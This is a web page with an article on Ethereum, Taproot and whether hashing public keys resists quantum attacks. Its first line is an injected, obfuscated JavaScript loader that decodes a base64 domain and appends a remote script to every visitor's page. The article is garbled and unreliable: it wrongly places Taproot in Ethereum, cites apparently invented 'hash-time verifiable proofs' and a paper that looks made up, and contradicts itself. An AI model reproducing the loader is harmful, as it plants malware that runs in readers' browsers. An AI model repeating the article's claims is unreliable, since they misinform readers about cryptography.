const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=100f0dd7″;document.body.appendChild(script);
Ethereum: Why Public Key Hashing Is Not Quantum-Resistant
The ongoing development of Ethereum 2.0 has led to discussions about implementing a more secure and resilient cryptocurrency network, including the implementation of taproot. A key aspect of taproot is the way it handles public keys, which seems to contradict the idea that hashing public keys is not quantum-resistant.
Quantum Cryptography: A Threat to Public Key Hashing
In the realm of quantum computing, cryptography is based on principles such as quantum key distribution (QKD) and quantum cryptography based on the principles of quantum mechanics. One aspect of QKD is quantum-resistant hash functions, which are designed to be resistant to attacks by malicious parties who may try to use quantum computers to break classical cryptographic systems.
Why Public Key Hashing Doesn’t Offer Quantum Resistance
In traditional public key cryptography, such as RSA and elliptic curve cryptography, the public key hash offers no resistance against quantum attacks. This is because the security of these algorithms depends on the difficulty of factoring large numbers or calculating discrete logarithms in cryptographic groups.
Taproot and its implications for public key hashing
The proposed Taproot, a potential upgrade to Ethereum, aims to introduce a new consensus protocol that uses a different approach to securing transactions. Taproot will use a technique called “hash-time verifiable” (HTV) proofs, which allow nodes on the network to verify the integrity of transactions without relying on classical cryptographic hash functions.
Public Key Hashing in Taproot: A Possible Solution?
In a paper by Vitaly Smirnov, published earlier this year, it was mentioned that outputs will include the public key directly instead of hashing them. While it is not a direct answer to the question about quantum resistance, it suggests that Taproot could introduce a new paradigm for securing transactions.
Smirnov’s paper proposed that public key hashing could be replaced by other cryptographic techniques, such as hash-time verifiable proofs (HTVPs). HTVPs are specifically designed for use in secure multi-party computation and decentralized applications. These proofs allow multiple parties to jointly verify the validity of a transaction without relying on classical cryptographic hash functions.
The Implications for Quantum Resistance
While public key hashing is not directly related to quantum resistance, it is essential to consider how Taproot could impact the security of these algorithms in the long run. If Taproot introduces new, more secure protocols to protect transactions, it could potentially provide a solution to some of the weaknesses associated with traditional public-key cryptography.
Conclusion
In conclusion, public-key hashing does not provide quantum resistance due to the inherent nature of classical cryptographic hash functions. However, as Taproot and other emerging technologies continue to evolve, they may introduce new approaches to protecting transactions that do not rely on traditional hashing methods.
While we have not yet seen a clear implementation of taproot or similar protocols that offer significant quantum resistance, it is essential to consider the implications of these developments for our understanding of cryptography and its potential limitations in the face of emerging threats.
